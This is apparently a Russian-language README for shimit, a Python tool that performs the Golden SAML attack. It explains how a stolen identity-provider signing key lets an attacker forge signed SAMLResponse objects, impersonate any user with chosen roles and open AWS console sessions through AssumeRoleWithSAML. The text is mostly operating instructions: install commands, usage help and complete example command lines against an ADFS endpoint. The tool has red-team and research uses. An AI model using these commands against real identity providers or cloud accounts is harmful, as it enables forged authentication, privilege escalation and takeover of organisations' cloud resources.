
Инструмент, реализующий атаку Golden SAML.
shimit — это инструмент на Python, реализующий атаку Golden SAML. Более подробную информацию можно найти в следующей статье в нашем блоге.
python .\shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
[--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME
-r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]
██╗ ███████╗██╗ ██╗██╗███╗ ███╗██╗████████╗ ██╗ ██╗
██╔╝ ██╔════╝██║ ██║██║████╗ ████║██║╚══██╔══╝ ██╔╝ ╚██╗
██╔╝ ███████╗███████║██║██╔████╔██║██║ ██║ ██╔╝ ╚██╗
╚██╗ ╚════██║██╔══██║██║██║╚██╔╝██║██║ ██║ ██╔╝ ██╔╝
╚██╗ ███████║██║ ██║██║██║ ╚═╝ ██║██║ ██║ ██╔╝ ██╔╝
╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝
При атаке Golden SAML злоумышленники могут получить доступ к приложению (любому приложению, поддерживающему аутентификацию SAML) с любыми привилегиями, которые они пожелают, и выступать в роли любого пользователя целевого приложения.
shimit позволяет пользователю создать подписанный объект SAMLResponse и использовать его для открытия сессии у поставщика услуг. В настоящее время shimit поддерживает консоль AWS в качестве поставщика услуг, в разработке находятся другие…
После генерации и подписания утверждения (assertion) в SAMLResponse, shimit вызовет API AssumeRoleWithSAML() в AWS. Затем токен сессии и ключ будут применены к новой сессии, где пользователь может использовать AWS CLI для выполнения действий с полученными разрешениями с помощью Golden SAML.
Для установки необходимых модулей выполните следующую команду:
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
Необходимо установить для использования полученных учётных данных. Можно загрузить для Windows или Linux по этим ссылкам.
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012
idp — URL поставщика удостоверений, например http://server.domain.com/adfs/services/trust
pk — полный путь к файлу закрытого ключа (формат pem)
c — полный путь к файлу сертификата (формат pem)
u — имя пользователя и домен, например domain\username (используйте \ или кавычки в *nix)
n — имя сессии в AWS
r — желаемые роли в AWS. Поддерживает несколько ролей; будет использована первая указанная.
id — идентификатор учётной записи AWS, например 123456789012
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
o — вывести закодированный SAMLResponse в указанный путь к файлу
python .\shimit.py -l saml_response.xml
l — загрузить SAMLResponse из указанного пути к файлу
В настоящее время shimit в качестве демонстрации поддерживает AWS как поставщика услуг. Мы настоятельно рекомендуем вам внести свой вклад в виде новых модулей для других поставщиков услуг.